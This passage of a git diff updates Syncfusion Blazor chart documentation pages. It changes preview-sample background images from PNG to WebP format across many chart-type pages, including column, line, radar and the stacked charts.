+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVpZFLtJkIBDGOn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Candle Chart](../images/financial-types/blazor-candle-chart.webp)" %}
 
 ## Binding data with series
 
diff --git a/blazor/chart/chart-types/column.md b/blazor/chart/chart-types/column.md
index 8e95e2a321..bc4f007c7e 100644
--- a/blazor/chart/chart-types/column.md
+++ b/blazor/chart/chart-types/column.md
@@ -56,7 +56,7 @@ To render a [Column Chart](https://www.syncfusion.com/blazor-components/blazor-c
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVTDasqTXEkwQxd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor column Chart.](../images/chart-types-images/blazor-column-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVTDasqTXEkwQxd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor column Chart.](../images/chart-types-images/blazor-column-chart.webp)" %}
 
 N> Refer to our [Blazor Column Charts](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/column-chart) feature tour page to know about its other groundbreaking feature representations. Explore our [Blazor Column Charts Example](https://blazor.syncfusion.com/demos/chart/column?theme=bootstrap5) to compare **Frequency**, **Count**, **Total**, or **Average** of data in different categories.
 
@@ -370,7 +370,7 @@ The [ChartCornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZretpNTBvfSKfSg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with corner radius](../images/chart-types-images/blazor-column-chart-corner-radius.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZretpNTBvfSKfSg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with corner radius](../images/chart-types-images/blazor-column-chart-corner-radius.webp)" %}
 
 Customize the corner radius for individual points in the chart series using the [OnPointRender](https://blazor.syncfusion.com/documentation/chart/events#onpointrender) event by utilizing the [CornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.PointRenderEventArgs.html#Syncfusion_Blazor_Charts_PointRenderEventArgs_CornerRadius) property in its event argument.
 
@@ -420,7 +420,7 @@ Customize the corner radius for individual points in the chart series using the
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDLetfjzLvFuJDKv?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor column chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-column-chart-corner-radius-onPointRender.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDLetfjzLvFuJDKv?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor column chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-column-chart-corner-radius-onPointRender.webp)" %}
 
 ## Column space and width
 
@@ -552,7 +552,7 @@ The [ColumnWidthInPixel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
     };
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhSNxBxzUFmUfTx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with column width set in pixel](../images/chart-types-images/blazor-column-chart-width-in-pixels.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhSNxBxzUFmUfTx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with column width set in pixel](../images/chart-types-images/blazor-column-chart-width-in-pixels.webp)" %}
 
 ## Grouped column
 
diff --git a/blazor/chart/chart-types/error-bar.md b/blazor/chart/chart-types/error-bar.md
index 80c7f04363..aba7cfd7eb 100644
--- a/blazor/chart/chart-types/error-bar.md
+++ b/blazor/chart/chart-types/error-bar.md
@@ -49,7 +49,7 @@ Error bars are graphical representations of the variability of data that are use
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjrJXvLtoGKlZQco?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Error Bar](../images/othertypes/blazor-error-bar-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjrJXvLtoGKlZQco?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Error Bar](../images/othertypes/blazor-error-bar-chart.webp)" %}
 
 ## Error bar type
 
diff --git a/blazor/chart/chart-types/high-low-open-close.md b/blazor/chart/chart-types/high-low-open-close.md
index 12506e676f..eadd4c367d 100644
--- a/blazor/chart/chart-types/high-low-open-close.md
+++ b/blazor/chart/chart-types/high-low-open-close.md
@@ -53,7 +53,7 @@ A detailed demonstration of the process for creating a HiloOpenClose chart using
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjBJNlLNJmhnNTVP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor High Low Open Close Chart](../images/chart-types-images/blazor-high-low-open-close-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjBJNlLNJmhnNTVP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor High Low Open Close Chart](../images/chart-types-images/blazor-high-low-open-close-chart.webp)" %}
 
 ## Binding data with series
 
diff --git a/blazor/chart/chart-types/high-low.md b/blazor/chart/chart-types/high-low.md
index f281a88122..134c29c58b 100644
--- a/blazor/chart/chart-types/high-low.md
+++ b/blazor/chart/chart-types/high-low.md
@@ -58,7 +58,7 @@ This indicates that the data should be represented as a hilo chart, which shows
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZrzNPLjzSqgHuAy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Hilo Chart](../images/financial-types/blazor-hilo-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZrzNPLjzSqgHuAy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Hilo Chart](../images/financial-types/blazor-hilo-chart.webp)" %}
 
 N> Refer to the [Blazor Hilo Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/hilo-chart) feature tour page to know about its other groundbreaking feature representations and also explore the [Blazor Hilo Chart Example](https://blazor.syncfusion.com/demos/chart/hilo) to know how to render and configure the Hilo type series.
 
diff --git a/blazor/chart/chart-types/histogram.md b/blazor/chart/chart-types/histogram.md
index 769affe0c4..15443684c0 100644
--- a/blazor/chart/chart-types/histogram.md
+++ b/blazor/chart/chart-types/histogram.md
@@ -65,7 +65,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVpXPLjednCMkiw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Histogram Chart](../images/othertypes/blazor-histogram-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVpXPLjednCMkiw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Histogram Chart](../images/othertypes/blazor-histogram-chart.webp)" %}
 
 ## Events
 
diff --git a/blazor/chart/chart-types/line.md b/blazor/chart/chart-types/line.md
index 5691abd0d0..9b08536861 100644
--- a/blazor/chart/chart-types/line.md
+++ b/blazor/chart/chart-types/line.md
@@ -56,7 +56,7 @@ To render a [Line](https://www.syncfusion.com/blazor-components/blazor-charts/ch
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLfNkWrgrqqRINz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart.](../images/chart-types-images/blazor-line-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLfNkWrgrqqRINz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart.](../images/chart-types-images/blazor-line-chart.webp)" %}
 
 N> Refer to the [Blazor Line Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/line-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Line Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/chart-types/pare-to.md b/blazor/chart/chart-types/pare-to.md
index b5880e3599..b02c96abd6 100644
--- a/blazor/chart/chart-types/pare-to.md
+++ b/blazor/chart/chart-types/pare-to.md
@@ -63,7 +63,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZVptvWuVRmwVTbC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pareto Chart](../images/othertypes/blazor-pareto-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZVptvWuVRmwVTbC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pareto Chart](../images/othertypes/blazor-pareto-chart.webp)" %}
 
 ## Binding data with series
 
diff --git a/blazor/chart/chart-types/polar.md b/blazor/chart/chart-types/polar.md
index b26dbd6f20..634b38a65a 100644
--- a/blazor/chart/chart-types/polar.md
+++ b/blazor/chart/chart-types/polar.md
@@ -51,7 +51,7 @@ To render a [polar](https://www.syncfusion.com/blazor-components/blazor-charts/c
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BthpXPhXfsXrrssZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Polar Chart](../images/polar-radar/blazor-polar-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BthpXPhXfsXrrssZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Polar Chart](../images/polar-radar/blazor-polar-chart.webp)" %}
 
 N> Refer to our [Blazor Polar Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/polar-chart) feature tour page to know about its other groundbreaking feature representations. Explore our [Blazor Polar Chart Example](https://blazor.syncfusion.com/demos/chart/polar-line) to know how to render and configure the Polar type chart.
 
diff --git a/blazor/chart/chart-types/radar.md b/blazor/chart/chart-types/radar.md
index 0a1b65a763..dbd21b662d 100644
--- a/blazor/chart/chart-types/radar.md
+++ b/blazor/chart/chart-types/radar.md
@@ -54,7 +54,7 @@ To render a radar chart, set the series [Type](https://help.syncfusion.com/cr/bl
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhfXbrXfzZtZPkh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Radar Chart with Line Series](../images/polar-radar/blazor-radar-chart-line-series.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhfXbrXfzZtZPkh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Radar Chart with Line Series](../images/polar-radar/blazor-radar-chart-line-series.webp)" %}
 
 N> Refer to the [Blazor Radar Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/radar-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Radar Chart Example](https://blazor.syncfusion.com/demos/chart/polar-line) to know how to render and configure the Radar type chart.
 
diff --git a/blazor/chart/chart-types/range-area.md b/blazor/chart/chart-types/range-area.md
index 9f649f3306..ee15ffcd5d 100644
--- a/blazor/chart/chart-types/range-area.md
+++ b/blazor/chart/chart-types/range-area.md
@@ -52,7 +52,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXLKiLrRzNeaIzwr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Range Area Chart](../images/chart-types-images/blazor-range-area-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXLKiLrRzNeaIzwr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Range Area Chart](../images/chart-types-images/blazor-range-area-chart.webp)" %}
 
 N> Refer to our [Blazor Range Area Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/range-area-chart) feature tour page to know about its other groundbreaking feature representations. Explore our [Blazor Range Area Chart Example](https://blazor.syncfusion.com/demos/chart/range-area?theme=bootstrap5) to know how to show variations in the data values for a given time.
 
diff --git a/blazor/chart/chart-types/range-column.md b/blazor/chart/chart-types/range-column.md
index 3143fdc1e5..10ce4e8afd 100644
--- a/blazor/chart/chart-types/range-column.md
+++ b/blazor/chart/chart-types/range-column.md
@@ -64,7 +64,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLgCLrnzdoaeqgs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Range Column Chart](../images/chart-types-images/blazor-range-column-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLgCLrnzdoaeqgs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Range Column Chart](../images/chart-types-images/blazor-range-column-chart.webp)" %}
 
 N> Refer to the [Blazor Range Column Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/range-column-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Range Column Chart Example](https://blazor.syncfusion.com/demos/chart/range-column?theme=bootstrap5) to know how to show variations in the data values for a given time.
 
@@ -518,7 +518,7 @@ The [ChartCornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
     };
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDBSDTtTAfxgaRes?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Range Column Chart with corner radius](../images/chart-types-images/blazor-range-column-corner-radius.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDBSDTtTAfxgaRes?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Range Column Chart with corner radius](../images/chart-types-images/blazor-range-column-corner-radius.webp)" %}
 
 Customize the corner radius for individual points in the chart series using the [OnPointRender](https://blazor.syncfusion.com/documentation/chart/events#onpointrender) event by utilizing the [CornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.PointRenderEventArgs.html#Syncfusion_Blazor_Charts_PointRenderEventArgs_CornerRadius) property in its event argument.
 
@@ -582,7 +582,7 @@ Customize the corner radius for individual points in the chart series using the
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNLejTXzqothXDiL?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Range Column Chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-range-column-corner-radius-onPointRender.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNLejTXzqothXDiL?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Range Column Chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-range-column-corner-radius-onPointRender.webp)" %}
 
 ## Empty points
 
diff --git a/blazor/chart/chart-types/range-step-area.md b/blazor/chart/chart-types/range-step-area.md
index e279f47597..6df3fc2d34 100644
--- a/blazor/chart/chart-types/range-step-area.md
+++ b/blazor/chart/chart-types/range-step-area.md
@@ -58,7 +58,7 @@ documentation: ug
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNhJZlsOgSpJondZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Range Step Area Chart](../images/chart-types-images/blazor-range-step-area.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNhJZlsOgSpJondZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Range Step Area Chart](../images/chart-types-images/blazor-range-step-area.webp)" %}
 
 ## Binding data with series
 
diff --git a/blazor/chart/chart-types/scatter.md b/blazor/chart/chart-types/scatter.md
index fa5bb832df..521bcf72e5 100644
--- a/blazor/chart/chart-types/scatter.md
+++ b/blazor/chart/chart-types/scatter.md
@@ -50,7 +50,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDVfXFhZrfpVHHMy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Scatter Chart](../images/chart-types-images/blazor-scatter-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDVfXFhZrfpVHHMy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Scatter Chart](../images/chart-types-images/blazor-scatter-chart.webp)" %}
 
 N> Refer to the [Blazor Scatter Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/scatter-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Scatter Chart Example](https://blazor.syncfusion.com/demos/chart/scatter?theme=bootstrap5) to know how to plot data with two numeric parameters.
 
diff --git a/blazor/chart/chart-types/spline-area.md b/blazor/chart/chart-types/spline-area.md
index 209401754a..4a40d78939 100644
--- a/blazor/chart/chart-types/spline-area.md
+++ b/blazor/chart/chart-types/spline-area.md
@@ -50,7 +50,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZhfXaCAqYANeOoh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Spline Area Chart](../images/chart-types-images/blazor-spline-area-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZhfXaCAqYANeOoh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Spline Area Chart](../images/chart-types-images/blazor-spline-area-chart.webp)" %}
 
 N> Refer to the [Blazor Spline Area Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/spline-area-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Spline Area Chart Example](https://blazor.syncfusion.com/demos/chart/spline-area?theme=bootstrap5) to know how to connect the data points with smooth curves.
 
diff --git a/blazor/chart/chart-types/spline-range-area.md b/blazor/chart/chart-types/spline-range-area.md
index 95f4a890c3..12cde96a75 100644
--- a/blazor/chart/chart-types/spline-range-area.md
+++ b/blazor/chart/chart-types/spline-range-area.md
@@ -50,7 +50,7 @@ documentation: ug
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjBqMVBdfdNOtUiF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Spline Range Area Chart](../images/chart-types-images/blazor-spline-range-area-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjBqMVBdfdNOtUiF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Spline Range Area Chart](../images/chart-types-images/blazor-spline-range-area-chart.webp)" %}
 
 > Refer to the [Blazor Spline Range Area Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/range-area-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Spline Range Area Chart Example](https://blazor.syncfusion.com/demos/chart/range-area?theme=bootstrap5) to know how to show variations in the data values for a given time.
 
diff --git a/blazor/chart/chart-types/spline.md b/blazor/chart/chart-types/spline.md
index 909c5f848d..51be451bdd 100644
--- a/blazor/chart/chart-types/spline.md
+++ b/blazor/chart/chart-types/spline.md
@@ -50,7 +50,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNrzNECVpIkCNalF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Spline Chart](../images/chart-types-images/blazor-spline-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNrzNECVpIkCNalF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Spline Chart](../images/chart-types-images/blazor-spline-chart.webp)" %}
 
 N> Refer to the [Blazor Spline Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/spline-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Spline Chart Example](https://blazor.syncfusion.com/demos/chart/spline?theme=bootstrap5) to know how to connect the data points with smooth curves.
 
diff --git a/blazor/chart/chart-types/stack-area.md b/blazor/chart/chart-types/stack-area.md
index 56c7a98cd2..f696bde62c 100644
--- a/blazor/chart/chart-types/stack-area.md
+++ b/blazor/chart/chart-types/stack-area.md
@@ -52,7 +52,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNBAiVhnTxBScRGk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Area100 Chart](../images/chart-types-images/blazor-stacked-area-100-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNBAiVhnTxBScRGk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Area100 Chart](../images/chart-types-images/blazor-stacked-area-100-chart.webp)" %}
 
 N> Refer to the [Blazor 100% Stacked Area Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/100-stacked-area-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor 100% Stacked Area Chart Example](https://blazor.syncfusion.com/demos/chart/percent-stacked-area?theme=bootstrap5) to know how to render and configure the 100% Stacked Area type chart.
 
diff --git a/blazor/chart/chart-types/stack-bar.md b/blazor/chart/chart-types/stack-bar.md
index 0e491afab4..069db84d8e 100644
--- a/blazor/chart/chart-types/stack-bar.md
+++ b/blazor/chart/chart-types/stack-bar.md
@@ -56,7 +56,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXBpNksqIVtklZvQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Bar100 Chart](../images/chart-types-images/blazor-stacked-bar-100-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXBpNksqIVtklZvQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Bar100 Chart](../images/chart-types-images/blazor-stacked-bar-100-chart.webp)" %}
 
 N> Refer to the [Blazor 100% Stacked Bar Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/100-stacked-bar-chart) feature tour page to know about its other groundbreaking feature representations. You can also explore the [Blazor 100% Stacked Bar Chart Example](https://blazor.syncfusion.com/demos/chart/percent-stacked-bar?theme=bootstrap5) to know how to render and configure the 100% Stacked Bar type chart.
 
@@ -451,7 +451,7 @@ The [ChartCornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNVejpNfAyexsHPk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked bar 100 with corner radius](../images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNVejpNfAyexsHPk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked bar 100 with corner radius](../images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius.webp)" %}
 
 Customize the corner radius for individual points in the chart series using the [OnPointRender](https://blazor.syncfusion.com/documentation/chart/events#onpointrender) event by utilizing the [CornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.PointRenderEventArgs.html#Syncfusion_Blazor_Charts_PointRenderEventArgs_CornerRadius) property in its event argument.
 
@@ -508,7 +508,7 @@ Customize the corner radius for individual points in the chart series using the
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVSNTZzKmxcZcBe?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Stacked bar 100 with corner radius using OnPointRender event](../images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius-onPointRender.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVSNTZzKmxcZcBe?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Stacked bar 100 with corner radius using OnPointRender event](../images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius-onPointRender.webp)" %}
 
 ## Empty points
 
diff --git a/blazor/chart/chart-types/stack-column.md b/blazor/chart/chart-types/stack-column.md
index f861aafc79..e308df54c8 100644
--- a/blazor/chart/chart-types/stack-column.md
+++ b/blazor/chart/chart-types/stack-column.md
@@ -56,7 +56,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjrfZusKfwGsxziN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Column100 Chart](../images/chart-types-images/blazor-stacked-column-100-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjrfZusKfwGsxziN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Column100 Chart](../images/chart-types-images/blazor-stacked-column-100-chart.webp)" %}
 
 N> Refer to the [Blazor 100% Stacked Column Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/100-stacked-column-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor 100% Stacked Column Chart Example](https://blazor.syncfusion.com/demos/chart/percent-stacked-column?theme=bootstrap5) to know how to render and configure the 100% Stacked Column type chart.
 
@@ -451,7 +451,7 @@ The [ChartCornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDrytzZpqmFAhCEn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Stacked Column 100 Chart with corner radius](../images/chart-types-images/blazor-stacked-column-100-chart-corner-radius.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDrytzZpqmFAhCEn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Stacked Column 100 Chart with corner radius](../images/chart-types-images/blazor-stacked-column-100-chart-corner-radius.webp)" %}
 
 Customize the corner radius for individual points in the chart series using the [OnPointRender](https://blazor.syncfusion.com/documentation/chart/events#onpointrender) event by utilizing the [CornerRadius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.PointRenderEventArgs.html#Syncfusion_Blazor_Charts_PointRenderEventArgs_CornerRadius) property in its event argument.
 
@@ -508,7 +508,7 @@ Customize the corner radius for individual points in the chart series using the
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjroXTtTUvBXPRDt?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Stacked Column 100 Chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-stacked-column-100-chart-corner-radius-onPointRender.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjroXTtTUvBXPRDt?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Stacked Column 100 Chart with corner radius using OnPointRender event](../images/chart-types-images/blazor-stacked-column-100-chart-corner-radius-onPointRender.webp)" %}
 
 ## Empty points
 
diff --git a/blazor/chart/chart-types/stack-line.md b/blazor/chart/chart-types/stack-line.md
index 492a468552..29347c0d24 100644
--- a/blazor/chart/chart-types/stack-line.md
+++ b/blazor/chart/chart-types/stack-line.md
@@ -73,7 +73,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BthfjusLTJpWigyi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Line100 Chart](../images/chart-types-images/blazor-stacked-line-100-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BthfjusLTJpWigyi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Line100 Chart](../images/chart-types-images/blazor-stacked-line-100-chart.webp)" %}
 
 N> Refer to the [Blazor 100% Stacked Line Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/100-stacked-line-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor 100% Stacked Line Chart Example](https://blazor.syncfusion.com/demos/chart/percent-stacked-line?theme=bootstrap5) to know how to render and configure the 100% Stacked Line type chart.
 
diff --git a/blazor/chart/chart-types/stacked-area.md b/blazor/chart/chart-types/stacked-area.md
index d58de26c9b..79a3646dfc 100644
--- a/blazor/chart/chart-types/stacked-area.md
+++ b/blazor/chart/chart-types/stacked-area.md
@@ -52,7 +52,7 @@ documentation: ug
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhUsVLxzRMlYUSx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Area Chart](../images/chart-types-images/blazor-stacked-area-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhUsVLxzRMlYUSx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Area Chart](../images/chart-types-images/blazor-stacked-area-chart.webp)" %}
 
 N> Refer to the [Blazor Stacked Area Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart-types/stacked-area-chart) feature tour page to know about its other groundbreaking feature representations. Explore the [Blazor Stacked Area Chart Example](https://blazor.syncfusion.com/demos/chart/stacked-area?theme=bootstrap5) to know how to render and configure the Stacked Area type chart.
 
